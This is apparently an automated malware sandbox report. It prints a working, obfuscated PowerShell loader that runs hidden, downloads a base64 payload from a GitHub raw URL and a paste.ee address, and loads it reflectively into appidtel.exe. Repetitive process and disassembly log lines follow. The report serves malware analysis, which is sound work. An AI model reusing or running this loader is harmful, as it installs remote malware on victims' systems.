'SWV4ICgoKCdoJysnUmZ1JysncmwgPSBoM2todHRwczonKycvLycrJ3JhJysndy4nKydnaXRodScrJ2J1Jysnc2VyJysnY29udGVuJysndC5jb20nKycvTm8nKydEZXRlY3RPJysnbi9Ob0RldGVjdE9uL3JlZnMvaGVhZHMvbWFpbi9EZScrJ3RhaE5vdGgtJysnVi50eHRoM2s7IGhSJysnZmInKydhc2U2NCcrJ0NvbnRlbnQgPScrJyAoTmUnKyd3LU9iamVjdCBTeXN0ZScrJ20uTicrJ2V0LldlYicrJ0NsaWVudCkuRG93bmxvYWRTdHInKydpbmcnKycoaFInKydmdXJsKTsgaFInKydmYmluYXInKyd5QycrJ29udGVudCA9IFtTJysneScrJ3N0ZW0uQ29udmVyJysndF06JysnOkZyb21CYScrJ3MnKydlNjRTdHInKydpbmcoaCcrJ1JmYicrJ2EnKydzJysnZTY0Q28nKydudGVudCcrJyknKyc7IGgnKydSZmEnKydzcycrJ2VtYmx5ID0gW1JlZmxlJysnY3Rpb24nKycuQXNzZW1ibHknKyddOjpMb2FkKGhSZmJpbmFyeUNvbnRlbnQpOyBbZCcrJ25saWInKycuSU8uSG9tZV06OlZBSSgnKydDdXQwL08nKycxRktTL2QvZWUuZXRzYXAnKycvLzpzcHR0aCcrJ0N1dCwgQ3UnKyd0ZCcrJ2VzYXRpdmFkb0N1dCwnKycgJysnQ3UnKyd0ZGVzYXRpdmFkb0N1dCwgJysnQ3V0ZGUnKydzYXRpdmFkb0N1dCwgQ3V0ZCcrJ2VzJysnYXQnKydpdmEnKydkbycrJ0N1dCwnKycgQycrJ3V0MUMnKyd1dCwgQ3V0YXBwaWR0ZWxDdXQpJykgIC1jUkVwbEFjRSdDdXQnLFtjSEFSXTM0ICAtUkVwTEFDZSAgKFtjSEFSXTEwNCtbY0hBUl04MitbY0hBUl0xMDIpLFtjSEFSXTM2ICAtUkVwTEFDZShbY0hBUl0xMDQrW2NIQVJdNTErW2NIQVJdMTA3KSxbY0hBUl0zOSkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex ((('h'+'Rfu'+'rl = h3khttps:'+'//'+'ra'+'w.'+'githu'+'bu'+'ser'+'conten'+'t.com'+'/No'+'DetectO'+'n/NoDetectOn/refs/heads/main/De'+'tahNoth-'+'V.txth3k; hR'+'fb'+'ase64'+'Content ='+' (Ne'+'w-Object Syste'+'m.N'+'et.Web'+'Client).DownloadStr'+'ing'+'(hR'+'furl); hR'+'fbinar'+'yC'+'ontent = [S'+'y'+'stem.Conver'+'t]:'+':FromBa'+'s'+'e64Str'+'ing(h'+'Rfb'+'a'+'s'+'e64Co'+'ntent'+')'+'; h'+'Rfa'+'ss'+'embly = [Refle'+'ction'+'.Assembly'+']::Load(hRfbinaryContent); [d'+'nlib'+'.IO.Home]::VAI('+'Cut0/O'+'1FKS/d/ee.etsap'+'//:sptth'+'Cut, Cu'+'td'+'esativadoCut,'+' '+'Cu'+'tdesativadoCut, '+'Cutde'+'sativadoCut, Cutd'+'es'+'at'+'iva'+'do'+'Cut,'+' C'+'ut1C'+'ut, CutappidtelCut)') -cREplAcE'Cut',[cHAR]34 -REpLACe ([cHAR]104+[cHAR]82+[cHAR]102),[cHAR]36 -REpLACe([cHAR]104+[cHAR]51+[cHAR]107),[cHAR]39))"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD346300BD pushad ; iretd	5_2_00007FFD346300C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD346309AD push ss; retf	5_2_00007FFD346309C6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD34634FF3 push eax; retf	5_2_00007FFD34634FE9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD346425CD push edx; retf	6_2_00007FFD34642636
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD34641D9F push eax; iretd	6_2_00007FFD3464233D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD346200BD pushad ; iretd	8_2_00007FFD346200C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD34627006 push esp; iretd	8_2_00007FFD3462700C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_004190B6 push esi; ret	10_2_004190B9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0041AAB9 push esp; retf	10_2_0041AB04
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_004123D8 push edi; retf	10_2_004123EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_004123E3 push edi; retf	10_2_004123EF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_004023B0 push esi; iretd	10_2_004023BA
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0040AC71 push edi; retf	10_2_0040AC73
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_004074B7 pushfd ; iretd	10_2_004074B9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_00412549 push ebx; iretd	10_2_0041254A
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_00403590 push eax; ret	10_2_00403592
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_00411E28 push ebx; retf	10_2_00411E2D
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_00406685 push FFFFFFCBh; retf	10_2_0040668C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039009AD push ecx; mov dword ptr [esp], ecx	10_2_039009B6
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 17_2_03ACA3FC push ecx; iretd	17_2_03ACA41A
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 17_2_03ACEB69 push esp; retf	17_2_03ACEBB4
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 17_2_03ACD166 push esi; ret	17_2_03ACD169
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 17_2_03ACA0F1 push ebx; ret	17_2_03ACA0F6
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 17_2_03ABA735 push FFFFFFCBh; retf	17_2_03ABA73C
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 17_2_03AC65F9 push ebx; iretd	17_2_03AC65FA
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 17_2_03ABED13 push edi; retf	17_2_03ABED23
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 17_2_03AD356F push es; iretd	17_2_03AD357F
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 17_2_03ABB567 pushfd ; iretd	17_2_03ABB569
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Code function: 17_2_03AC6488 push edi; retf	17_2_03AC649F
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_036909AD push ecx; mov dword ptr [esp], ecx	19_2_036909B6
Source: C:\Windows\SysWOW64\convert.exe	Code function: 19_2_035653DB pushfd ; ret	19_2_035653E3

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
